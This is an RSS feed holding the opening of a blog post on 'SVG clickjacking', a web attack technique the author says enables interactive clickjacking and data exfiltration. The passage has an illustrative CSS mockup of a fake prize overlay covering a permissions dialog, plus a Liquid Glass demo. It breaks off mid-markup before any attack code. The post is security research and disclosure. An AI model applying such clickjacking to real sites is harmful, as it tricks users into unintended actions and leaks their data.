<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>lyra's epic blog!</title>
    <link>https://lyra.horse/blog/posts/</link>
    <description>lyra's epic blog and its posts!</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 04 Dec 2025 14:00:00 +0000</lastBuildDate>
    <atom:link href="https://lyra.horse/blog/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>SVG Filters - Clickjacking 2.0</title>
      <link>https://lyra.horse/blog/2025/12/svg-clickjacking/</link>
      <pubDate>Thu, 04 Dec 2025 14:00:00 +0000</pubDate>
      <guid>https://lyra.horse/blog/2025/12/svg-clickjacking/</guid>
      <description>&lt;p&gt;Clickjacking is a classic attack that consists of covering up an iframe of some other website in an attempt to trick the user into unintentionally interacting with it. It works great if you need to trick someone into pressing a button or two, but for anything more complicated it&amp;rsquo;s kind of unrealistic.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve discovered a new technique that turns classic clickjacking on its head and enables the creation of complex interactive clickjacking attacks, as well as multiple forms of data exfiltration.&lt;/p&gt;&#xA;&lt;p&gt;I call this technique &amp;ldquo;&lt;strong&gt;SVG clickjacking&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame id=&#34;cover-art&#34; style=&#34;background:#715ab5;background:#333;&#34; aria-label=&#34;Cover art - a win free iPod dialog is connected to a dangerous permissions dialog behind it&#34; role=&#34;img&#34;&gt;&lt;div aria-hidden=&#34;true&#34;&gt;&lt;l-3d&gt;&#xD;&#xA;  &lt;l-target&gt;&lt;l-tabs&gt;&lt;span style=&#34;padding:4px 0;max-height:1lh;vertical-align:middle&#34;&gt;&lt;a style=&#34;padding:4px;line-height:0&#34; target=&#34;_blank&#34; href=&#34;https://youtu.be/MSVOhyorGbQ&#34;&gt;🦊&lt;/a&gt;&lt;/span&gt;&lt;span&gt;File&lt;/span&gt;&lt;span&gt;Edit&lt;/span&gt;&lt;span class=&#34;viewBtn&#34;&gt;View&lt;/span&gt;&lt;span selected&gt;Share&lt;/span&gt;&lt;span style=&#34;margin-left:auto;opacity:0.3&#34;&gt;Lyra Rebane&lt;/span&gt;&lt;/l-tabs&gt;&#xD;&#xA;    &lt;l-body&gt;&#xD;&#xA;&lt;style spellcheck=false contenteditable=&#34;plaintext-only&#34;&gt;  #cover-art {&#xD;&#xA;    --height: 320px;&#xD;&#xA;    height: var(--height);&#xD;&#xA;    @media (width &lt; 480px) { --height: 260px; };&#xD;&#xA;    font-family: &#34;Open Sans&#34;, &#34;Noto Sans&#34;, Roboto, system-ui, sans-serif;&#xD;&#xA;    position: relative;&#xD;&#xA;    overflow: hidden;&#xD;&#xA;    font-size: 14px;&#xD;&#xA;    l-target, l-target-menu, l-dialog, l-overlay, l-line, l-dim, l-note {&#xD;&#xA;      display: block;&#xD;&#xA;      border-radius: 8px;&#xD;&#xA;      position: absolute;&#xD;&#xA;    }&#xD;&#xA;    l-target {&#xD;&#xA;      filter: blur(0.75px);&#xD;&#xA;      transform: translateZ(-200px);&#xD;&#xA;      top: -30px;&#xD;&#xA;      left: 59px;&#xD;&#xA;      width: 600px;&#xD;&#xA;      height: 600px;&#xD;&#xA;      background: #FFF;&#xD;&#xA;      overflow: hidden;&#xD;&#xA;      l-body {&#xD;&#xA;        display:block;&#xD;&#xA;        height: 60%;&#xD;&#xA;        overflow: scroll;&#xD;&#xA;        scrollbar-width: none;&#xD;&#xA;        style {&#xD;&#xA;          &amp;::selection {&#xD;&#xA;            background: #000;&#xD;&#xA;            color: #0F0;&#xD;&#xA;          }&#xD;&#xA;          outline: none;&#xD;&#xA;          display: block;&#xD;&#xA;          padding: 10px 0px;&#xD;&#xA;          white-space: pre-wrap;&#xD;&#xA;          color: #AAA;&#xD;&#xA;          font-family: &#39;Nimbus Mono PS&#39;, &#39;Courier New&#39;, monospace;&#xD;&#xA;          font-size: 12px;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      l-tabs {&#xD;&#xA;        padding: 4px;&#xD;&#xA;        border-bottom: 1px solid #DDD;&#xD;&#xA;        background: #EEE;&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;        gap: 6px;&#xD;&#xA;        span {&#xD;&#xA;          cursor: pointer;&#xD;&#xA;          user-select: none;&#xD;&#xA;          padding: 4px 8px;&#xD;&#xA;          border-radius: 6px;&#xD;&#xA;          &amp;:hover,&amp;[selected] {&#xD;&#xA;            background: #DDD;&#xD;&#xA;          }&#xD;&#xA;          &amp;:active {&#xD;&#xA;            background: #CCC;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }       &#xD;&#xA;    }&#xD;&#xA;    l-target-menu {&#xD;&#xA;      filter: blur(0.5px);&#xD;&#xA;      transform: translateZ(-175px);&#xD;&#xA;      box-shadow: 12px 12px 20px -10px #0005;&#xD;&#xA;      top: 6px;&#xD;&#xA;      left: 243px;&#xD;&#xA;      background: #FFF;&#xD;&#xA;      width: 100px;&#xD;&#xA;      display: flex;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;      overflow: hidden;&#xD;&#xA;      outline: 1px solid #EEE;&#xD;&#xA;      span {&#xD;&#xA;        padding: 4px 8px;&#xD;&#xA;          cursor: pointer;&#xD;&#xA;          user-select: none;&#xD;&#xA;          &amp;:hover,&amp;[selected] {&#xD;&#xA;            background: #EEE;&#xD;&#xA;          }&#xD;&#xA;          &amp;:active {&#xD;&#xA;            background: #DDD;&#xD;&#xA;          }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    l-dim {&#xD;&#xA;      pointer-events: none;&#xD;&#xA;      transform: translateZ(-130px);&#xD;&#xA;      top: -200px;&#xD;&#xA;      left: -100px;&#xD;&#xA;      width: 1000px;&#xD;&#xA;      height: 1000px;&#xD;&#xA;      background: #0002;&#xD;&#xA;      background: linear-gradient(#000F 50%, #0000 50.001%), linear-gradient(90deg,#000F 50%, #0000 50.001%);&#xD;&#xA;      background: linear-gradient(#00000019 50%, #0001 50.001%);&#xD;&#xA;      rotate: -15deg;&#xD;&#xA;      background-size: 32px 32px;&#xD;&#xA;    }&#xD;&#xA;    l-dialog {&#xD;&#xA;      transform: translateZ(-125px);&#xD;&#xA;      top: 130px;&#xD;&#xA;      left: 226px;&#xD;&#xA;      background: #FFF;&#xD;&#xA;      width: 300px;&#xD;&#xA;      outline: 1px solid #EEE;&#xD;&#xA;      box-shadow: 24px 24px 50px -10px #0005;&#xD;&#xA;      *::selection {&#xD;&#xA;        background: #d3a7d3;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    l-dialog,l-overlay {&#xD;&#xA;      padding: 16px;&#xD;&#xA;      p {&#xD;&#xA;        margin: 0 0 8px;&#xD;&#xA;        b {&#xD;&#xA;          font-size: 120%;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      button {&#xD;&#xA;        --bgBase: #F0F0F0;&#xD;&#xA;        --bg: var(--bgBase);&#xD;&#xA;        background: var(--bg);&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        float: right;&#xD;&#xA;        border-radius: 8px;&#xD;&#xA;        font-size: 100%;&#xD;&#xA;        font-family: inherit;&#xD;&#xA;        padding: 8px 16px;&#xD;&#xA;        margin-left: 6px;&#xD;&#xA;        border: 0;&#xD;&#xA;        color: #000;&#xD;&#xA;        user-select: none;&#xD;&#xA;        &amp;[red] {&#xD;&#xA;          --bgBase: #fb3c3c;&#xD;&#xA;          color: #FFF;&#xD;&#xA;        }&#xD;&#xA;        &amp;[hack] {&#xD;&#xA;          --bgBase: #f70085ee;&#xD;&#xA;          color: #FFF;&#xD;&#xA;        }&#xD;&#xA;        &amp;:hover,&amp;[selected] {&#xD;&#xA;          --bg: hsl(from var(--bgBase) h s calc(l - 8));&#xD;&#xA;        }&#xD;&#xA;        &amp;:active {&#xD;&#xA;          --bg: hsl(from var(--bgBase) h s calc(l - 16));&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    l-overlay {&#xD;&#xA;      pointer-events: none;&#xD;&#xA;      top: 108px;&#xD;&#xA;      left: 247px;&#xD;&#xA;      width: 220px;&#xD;&#xA;      height: 66px;&#xD;&#xA;      background: #0003;&#xD;&#xA;      background: linear-gradient(#cd6ab633,#4d038561);&#xD;&#xA;      border: 2px inset #f70085ee;&#xD;&#xA;      outline: 1px solid #5f00f757;&#xD;&#xA;      color: #f70085;&#xD;&#xA;      text-shadow: 1px 1px 2px #a522b1;&#xD;&#xA;      opacity: 1;&#xD;&#xA;      backdrop-filter: blur(0.4px);&#xD;&#xA;      p *::selection {&#xD;&#xA;        background: #FFF;&#xD;&#xA;      }&#xD;&#xA;      button, p {&#xD;&#xA;        pointer-events: all;&#xD;&#xA;      }&#xD;&#xA;      button {&#xD;&#xA;        box-shadow: 1px 1px 2px #a522b1;&#xD;&#xA;        &amp;:active {&#xD;&#xA;          box-shadow: 0 0 1px #a522b1;&#xD;&#xA;          translate: 1px 1px;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    l-line {&#xD;&#xA;      background: red;&#xD;&#xA;      width: 100px;&#xD;&#xA;      height: 10px;&#xD;&#xA;      pointer-events: none;&#xD;&#xA;    }&#xD;&#xA;    l-3d {&#xD;&#xA;      display: block;&#xD;&#xA;      transform-style: preserve-3d;&#xD;&#xA;      transition: transform 2s cubic-bezier(0,0,0,1);&#xD;&#xA;      transform: translateY(calc(var(--height) / -2)) rotate3d(1, -1, 0, 13deg) translateY(-50px) scale(1.25);&#xD;&#xA;      &amp;:hover {&#xD;&#xA;        transform: translateY(calc(var(--height) / -2)) translateZ(10px) rotate3d(1, -1, 0, 10deg) translateY(-50px) scale(1.3);&#xD;&#xA;      }&#xD;&#xA;      &amp;:has(l-overlay button[yesbtn]:hover):not(:has(.viewBtn:active)) {&#xD;&#xA;        transform: translateY(calc(var(--height) / -2)) translateZ(30px) rotate3d(1, -1, 0, 9deg) translateY(-50px) scale(1.3);&#xD;&#xA;      }&#xD;&#xA;      &amp;:has(.viewBtn:active) {&#xD;&#xA;        transition: transform 4s cubic-bezier(0,0,0,1);&#xD;&#xA;        transform: translateY(calc(var(--height) / -2)) translateZ(-130px) rotate3d(1, 0, 0, -40deg) rotate3d(0, 1, 0, -60deg) translateX(-230px) translateY(350px) scale(1.3);&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    l-note {&#xD;&#xA;      font-weight: 700;&#xD;&#xA;      text-shadow: 0.5px 1px 1px #000, 1px 2px 6px #ffffff;&#xD;&#xA;      font-size: 18px;font-family: &#39;Nimbus Mono PS&#39;, &#39;Courier New&#39;, monospace;&#xD;&#xA;    }&#xD;&#xA;    &amp;&gt;div {&#xD;&#xA;      width: 768px;&#xD;&#xA;      translate: calc(-50% + 50cqw) calc((var(--height) - 320px) / 3);&#xD;&#xA;      /* we&#39;re doing a fun hack here where we transformY to&#xD;&#xA;         center the 3d scene because if i set a height on this&#xD;&#xA;         div instead it&#39;ll break mouse events in firefox for&#xD;&#xA;         elements further than 0 in the Z dimension */&#xD;&#xA;      transform: translateY(calc(var(--height) / 2)) scale(1);&#xD;&#xA;      transition: transform 1s cubic-bezier(0,0,0,1), perspective 4s cubic-bezier(0,0,0,1);&#xD;&#xA;      @media (width &lt; 480px) {&#xD;&#xA;        transform: translateY(calc(var(--height) / 2)) scale(0.75);&#xD;&#xA;      }&#xD;&#xA;      transform-style: preserve-3d;&#xD;&#xA;      perspective: 500px;&#xD;&#xA;      &amp;:has(.viewBtn:active) {&#xD;&#xA;        perspective: 700px;&#xD;&#xA;        l-body { height:100%; }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    .yesLine {&#xD;&#xA;      top:172px;&#xD;&#xA;      left:438px;&#xD;&#xA;      width:125px;&#xD;&#xA;      transform-origin: 0 0;&#xD;&#xA;      transform:translateZ(-5px) rotate3d(0.1, 1, 0.3, 57deg) rotate3d(1, 0, 0, -45deg);&#xD;&#xA;      background:#c752bd;&#xD;&#xA;      filter:blur(4px);&#xD;&#xA;      height:16px;&#xD;&#xA;      opacity: 0.75;&#xD;&#xA;      transition: opacity 0.25s, background 0.25s;&#xD;&#xA;    }&#xD;&#xA;    l-target, l-target-menu, l-dialog, l-overlay {&#xD;&#xA;      transition: filter 0.5s;&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(l-target:hover) {&#xD;&#xA;      l-target, l-target-menu {&#xD;&#xA;        filter: none;&#xD;&#xA;      }&#xD;&#xA;      l-dialog {&#xD;&#xA;        filter: blur(0.5px);&#xD;&#xA;      }&#xD;&#xA;      l-overlay {&#xD;&#xA;        filter: blur(0.75px);&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    /* ugly linking hack because ff doesn&#39;t do style queries or if statements yet */&#xD;&#xA;    &amp;:has(button[yesbtn]:hover) button[yesbtn] {&#xD;&#xA;      --bg: hsl(from var(--bgBase) h s calc(l - 8));&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(button[yesbtn]:active) {&#xD;&#xA;      .yesLine {&#xD;&#xA;        /*background: #f180d3;*/&#xD;&#xA;        background:#f7326b;&#xD;&#xA;        opacity: 1;&#xD;&#xA;      }&#xD;&#xA;      l-overlay button[yesbtn] {&#xD;&#xA;        box-shadow: 0 0 1px #a522b1;&#xD;&#xA;        translate: 1px 1px;&#xD;&#xA;      }&#xD;&#xA;      button[yesbtn] {&#xD;&#xA;        --bg: hsl(from var(--bgBase) h s calc(l - 16));&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;    &lt;/l-body&gt;&#xD;&#xA;  &lt;/l-target&gt;&#xD;&#xA;  &lt;l-target-menu&gt;&lt;span&gt;Private&lt;/span&gt;&lt;a target=&#34;_blank&#34; style=&#34;color:inherit&#34; href=&#34;https://jorianwoltjer.com/blog/p/ctf/openecsc-2025-kittychat-secure&#34;&gt;&lt;span style=&#34;display:inline-block;width:100%;box-sizing:border-box&#34;&gt;Friends&lt;/span&gt;&lt;/a&gt;&lt;span&gt;Unlisted&lt;/span&gt;&lt;span selected&gt;Public&lt;/span&gt;&lt;/l-target-menu&gt;&#xD;&#xA;  &lt;l-dim&gt;&lt;/l-dim&gt;&#xD;&#xA;  &lt;l-dialog&gt;&lt;p&gt;&lt;b&gt;Are you sure?&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Everybody will be able to see your secrets.&lt;/p&gt;&lt;button red yesbtn&gt;Yes&lt;/button&gt;&lt;button&gt;No&lt;/button&gt;&lt;/l-dialog&gt;&#xD;&#xA;  &lt;l-note style=&#34;color:#FB3C3C;top: 29px;left:261px;transform: translateZ(-125px) rotate3d(1, -1, 0, -13deg);&#34;&gt;[ get pixel color at (567,178) ]&lt;/l-note&gt;&#xD;&#xA;  &lt;l-line style=&#34;top: 56px;left: 533px;border-radius: 0;transform-origin:0 0;transform: translateZ(-125px) rotate(92deg);height: 2px;width: 148px;&#34;&gt;&lt;/l-line&gt;&#xD;&#xA;  &lt;l-overlay&gt;&lt;p&gt;&lt;b&gt;win free ipod&lt;/b&gt;&lt;/p&gt;&lt;button hack yesbtn&gt;click here&lt;/button&gt;&lt;/l-overlay&gt;&#xD;&#xA;  &lt;l-line class=&#34;yesLine&#34;&gt;&lt;/l-line&gt;&#xD;&#xA;  &lt;l-note style=&#34;color:#F30A8A;top: 243px;left: 230px;transform: rotate3d(1, -1, 0, -13deg);&#34;&gt;[ show overlay image #3 ]&lt;/l-note&gt;&#xD;&#xA;  &lt;l-line style=&#34;background:#F30A8A;top: 208px;left: 344px;border-radius: 0;transform-origin:0 0;transform: rotate(89deg);height: 3px;width: 36px;&#34;&gt;&lt;/l-line&gt;&#xD;&#xA;&lt;/l-3d&gt;&lt;/div&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;!--&#xD;&#xA;## Adjust until barely visible&#xD;&#xA;&#xD;&#xA;Before we get onto the rest of the blog post I&#39;ll stop you here for a quick compatibility check. &lt;fx-strike&gt;You should be seeing a pony here -\&gt; [].&lt;/fx-strike&gt;&lt;fx-off&gt; (the pony is hidden because svg effects are disabled)&lt;/fx-off&gt;&#xD;&#xA;&#xD;&#xA;If you don&#39;t see the pony, or you&#39;re having performance issues, disable the SVG effects and the blog post falls back to CSS emulations of said effects.&#xD;&#xA;&#xD;&#xA;&lt;label&gt;&lt;input type=&#34;checkbox&#34; checked name=&#34;fx&#34; id=&#34;fx&#34;&gt; SVG effects&lt;/label&gt;&#xD;&#xA;&#xD;&#xA;SVG effects are currently &lt;b&gt;&lt;fx-on style=&#34;color:green&#34;&gt;enabled&lt;/fx-on&gt;&lt;fx-off style=&#34;color:red&#34;&gt;disabled&lt;/fx-off&gt;&lt;/b&gt;. &#xD;&#xA;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  body:has(#fx:checked) {&#xD;&#xA;    fx-off {&#xD;&#xA;      display: none;&#xD;&#xA;      visibility: none;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  body:has(#fx:not(:checked)) {&#xD;&#xA;    fx-on {&#xD;&#xA;      display: none;&#xD;&#xA;      visibility: none;&#xD;&#xA;    }&#xD;&#xA;    fx-strike {&#xD;&#xA;      text-decoration: line-through;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;--&gt;&#xD;&#xA;&lt;div style=&#34;height:1em&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    .safariNote {&#xD;&#xA;      font-style: italic;&#xD;&#xA;      span { display: none; }&#xD;&#xA;      /* CSS-only Safari Detection (stackoverflow.com/a/74381245/2251833/) */&#xD;&#xA;      @supports (font: -apple-system-body) and (-webkit-appearance: none) {&#xD;&#xA;        color: red;&#xD;&#xA;        span { display: unset; }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    pre &gt; code {&#xD;&#xA;      white-space: pre-wrap;&#xD;&#xA;    }&#xD;&#xA;    .sx-block {&#xD;&#xA;      color-scheme: dark;&#xD;&#xA;      color: #EEE;&#xD;&#xA;      &amp;::selection, ::selection {&#xD;&#xA;        background: #004A77;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    .sx-block {&#xD;&#xA;      background: #15202B;&#xD;&#xA;      max-width: 100%;&#xD;&#xA;      overflow: clip;&#xD;&#xA;      border-radius: 4px;&#xD;&#xA;      &amp; &gt; code {&#xD;&#xA;        max-width: 100%;&#xD;&#xA;        overflow-x: auto;&#xD;&#xA;        display: block;&#xD;&#xA;        padding: 10px;&#xD;&#xA;        color: inherit;&#xD;&#xA;        font-family: var(--font-code);&#xD;&#xA;        font-size: 0.8125rem;&#xD;&#xA;      }&#xD;&#xA;      &amp;:not(.sx-full) {&#xD;&#xA;        width: fit-content;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    sx-r { color: #A8C7FA; }&#xD;&#xA;    sx-v { color: #FE8D59; }&#xD;&#xA;    sx-t { color: #7CACF8; }&#xD;&#xA;    sx-c { color: #ABABAB; }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;!--## Liquid glaCSS--&gt;&#xD;&#xA;&lt;h2 id=&#34;liquid-svgs&#34;&gt;Liquid SVGs&lt;/h2&gt;&#xA;&lt;p&gt;The day Apple announced its new Liquid Glass redesign was pretty chaotic. You couldn&amp;rsquo;t go on social media without every other post being about the new design, whether it was critique over how inaccessible it seemed, or awe at how realistic the refraction effects were.&lt;/p&gt;&#xA;&lt;p&gt;Drowning in the flurry of posts, a thought came to mind - how hard would it be to re-create this effect? Could I do this, on the web, without resorting to canvas and shaders? I got to work, and about an hour later I had &lt;a href=&#34;https://codepen.io/rebane2001/details/OPVQXMv&#34;&gt;a pretty accurate CSS/SVG recreation of the effect&lt;/a&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;  &lt;style&gt;&#xD;&#xA;    .force-visibility {&#xD;&#xA;      @supports (animation-range: entry exit) {&#xD;&#xA;        view-timeline-name: --force-visibility;&#xD;&#xA;        view-timeline-axis: block;&#xD;&#xA;&#xD;&#xA;        animation: linear force-visibility both;&#xD;&#xA;        animation-timeline: --force-visibility;&#xD;&#xA;        animation-range: entry exit;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    @keyframes force-visibility {&#xD;&#xA;      from {&#xD;&#xA;        content-visibility:hidden;&#xD;&#xA;      }&#xD;&#xA;      0.001% {&#xD;&#xA;        content-visibility:auto;&#xD;&#xA;      }&#xD;&#xA;      100% {&#xD;&#xA;        content-visibility:auto;&#xD;&#xA;      }&#xD;&#xA;      to {&#xD;&#xA;        content-visibility:hidden;&#xD;&#xA;      }&#xD;&#xA;    }&lt;/style&gt;&#xD;&#xA;&lt;DIV&gt;&lt;art-frame id=&#34;lGlassDemo&#34; style=&#34;height:300px;position:relative;contain: strict&#34; role=img aria-label=&#34;A few album arts with a movable liquid glass effect on top&#34;&gt;&#xD;&#xA;&lt;div style=&#34;position:absolute;width:300px;height:200px&#34;&gt;&#xD;&#xA;  &lt;div style=&#34;width:768px;height:300px&#34; class=&#34;liquidDemoBg&#34;&gt;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://visualdisturbances.bandcamp.com/album/emergency-2&#34;&gt;&lt;div style=&#34;background:linear-gradient(#040758,#052297)&#34;&gt;&lt;/div&gt;&lt;p&gt;EMERGENCY!&lt;/p&gt;&lt;p&gt;Girls Rituals&lt;/p&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://acloudyskye.bandcamp.com/album/this-wont-be-the-last-time&#34;&gt;&lt;div style=&#34;background:linear-gradient(-135deg,#0C9FF0,#0000 25%), linear-gradient(135deg,#0C9FF0,#0000 25%), linear-gradient(in oklch,#FFF,#FFF,#FFF,#BD3242)&#34;&gt;&lt;/div&gt;&lt;p&gt;This Won&#39;t Be The Last Time&lt;/p&gt;&lt;p&gt;acloudyskye&lt;/p&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://soundbandit.bandcamp.com/album/sound-bandit-fucking-lives&#34;&gt;&lt;div style=&#34;background:radial-gradient(in oklch, #F8C6AD,#F9E234,#CDCA01)/*radial-gradient(circle at 50% 95%,#ECAB91, #F3A98C 10%,#0000 16%),radial-gradient(circle at 50% 50%,#ECAB91, #F3A98C 50%,#0000 60%),radial-gradient(circle at 45% 48%,#0000 40%, #666A09,#F4C72E,#E45626,#0000 54%),  radial-gradient(circle at 50% 50%,#F7B85C,#7A582B)*/&#34;&gt;&lt;/div&gt;&lt;p&gt;SOUND BANDIT FUCKING LIVES&lt;/p&gt;&lt;p&gt;Sound Bandit&lt;/p&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://vyletpony.bandcamp.com/album/love-ponystep&#34;&gt;&lt;div style=&#34;background:linear-gradient(0deg,#0003,#0000 20%),linear-gradient(90deg,#0003,#0000 20%),linear-gradient(180deg,#0003,#0000 20%),linear-gradient(270deg,#0003,#0000 20%),linear-gradient(180deg,#FF0213,#D85C13,#C472B2,#AD2DA8,#A51866),linear-gradient(in oklch 180deg,#9E4CA2,#B41C35)&#34;&gt;&lt;/div&gt;&lt;p&gt;Love &amp; Ponystep&lt;/p&gt;&lt;p&gt;Vylet Pony&lt;/p&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://ninajirachi.bandcamp.com/album/i-love-my-computer&#34;&gt;&lt;div style=&#34;background:linear-gradient(#D5D6D3,#8691AA)&#34;&gt;&lt;/div&gt;&lt;p&gt;I Love My Computer&lt;/p&gt;&lt;p&gt;Ninajirachi&lt;/p&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:relative&#34;&gt;&#xD;&#xA;    &lt;album-card title=&#34;mom - 3&#34;&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://blacksquares.bandcamp.com/album/3&#34;&gt;&lt;div style=&#34;background:radial-gradient(circle at 53% 50%, #EA01FD 30%, #0000 40%),radial-gradient(circle at 47% 50%, #080CFF 30%, #0000 40%),linear-gradient(#FFF600,#FFF600)&#34;&gt;&lt;/div&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card title=&#34;glass beach - the first glass beach album&#34;&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://glassbeach.bandcamp.com/album/the-first-glass-beach-album&#34;&gt;&lt;div style=&#34;background:radial-gradient(circle at 73% 16%, #CB1629 9%,#0000 10%), linear-gradient(#0F1015 38%,#038D8F 39%)&#34;&gt;&lt;/div&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card title=&#34;underscores - wallsocket (director&#39;s cut)&#34;&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://underscores.bandcamp.com/album/wallsocket-directors-cut&#34;&gt;&lt;div style=&#34;background:radial-gradient(circle at 16% 40%, #7B7368, #0000 15%),linear-gradient(in oklch 181deg, #C38765,#F35C01 50%,#150F04 50.5%, #667D00 51%)&#34;&gt;&lt;/div&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card title=&#34;patricia taxxon - bicycle&#34;&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://patriciataxxon.bandcamp.com/album/bicycle&#34;&gt;&lt;div style=&#34;background:linear-gradient(#ECD963 9%, #0000 10%),linear-gradient(90deg, #ECD963 9%, #0000 10%),linear-gradient(-90deg, #ECD963 9%, #0000 10%), linear-gradient(#C3CF8F 10%,#9E9948 90%)&#34;&gt;&lt;/div&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card title=&#34;yaeji - ep 1+2&#34;&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://kraejiyaeji.bandcamp.com/album/ep-1-2&#34;&gt;&lt;div style=&#34;background:linear-gradient(in oklch, #ECA395,#527796)&#34;&gt;&lt;/div&gt;&lt;/a&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(2px);mask-image:linear-gradient(#0000, #FFF 25%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(3px);mask-image:linear-gradient(#0000, #FFF 50%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(4px);mask-image:linear-gradient(#0000, #FFF 75%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(8px);mask-image:linear-gradient(#0000, #FFF 100%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div id=&#34;liquidOverlay&#34; class=&#34;force-visibility&#34; style=&#34;clip-path: rect(calc(100% - 120px) 100% 100% calc(100% - 120px));position:absolute;translate:-190px -190px;min-width:200px;min-height:200px;max-width:calc(192px + 100cqw);max-height:490px;container-type:size;resize:both;overflow:auto;display:flex;justify-content: flex-end;align-items: flex-end;width:min(547px,calc(300px + 50cqw));height:383px;border-right:10px solid #0000;border-bottom:10px solid #0000&#34;&gt;&lt;div id=&#34;liquidResize&#34;&gt;&lt;/div&gt;&lt;div style=&#34;filter:url(#displacementFilter4);width:200px;height:200px;overflow:clip;background:#FFF&#34;&gt;&#xD;&#xA;  &lt;div style=&#34;width:768px;height:300px;translate:calc(390px - 100cqw) calc(390px - 100cqh);pointer-events:none;user-select:none&#34; class=&#34;liquidDemoBg&#34;&gt;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:linear-gradient(#040758,#052297)&#34;&gt;&lt;/div&gt;&lt;p&gt;EMERGENCY!&lt;/p&gt;&lt;p&gt;Girls Rituals&lt;/p&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:linear-gradient(-135deg,#0C9FF0,#0000 25%), linear-gradient(135deg,#0C9FF0,#0000 25%), linear-gradient(in oklch,#FFF,#FFF,#FFF,#BD3242)&#34;&gt;&lt;/div&gt;&lt;p&gt;This Won&#39;t Be The Last Time&lt;/p&gt;&lt;p&gt;acloudyskye&lt;/p&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:radial-gradient(in oklch, #F8C6AD,#F9E234,#CDCA01)&#34;&gt;&lt;/div&gt;&lt;p&gt;SOUND BANDIT FUCKING LIVES&lt;/p&gt;&lt;p&gt;Sound Bandit&lt;/p&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:linear-gradient(0deg,#0003,#0000 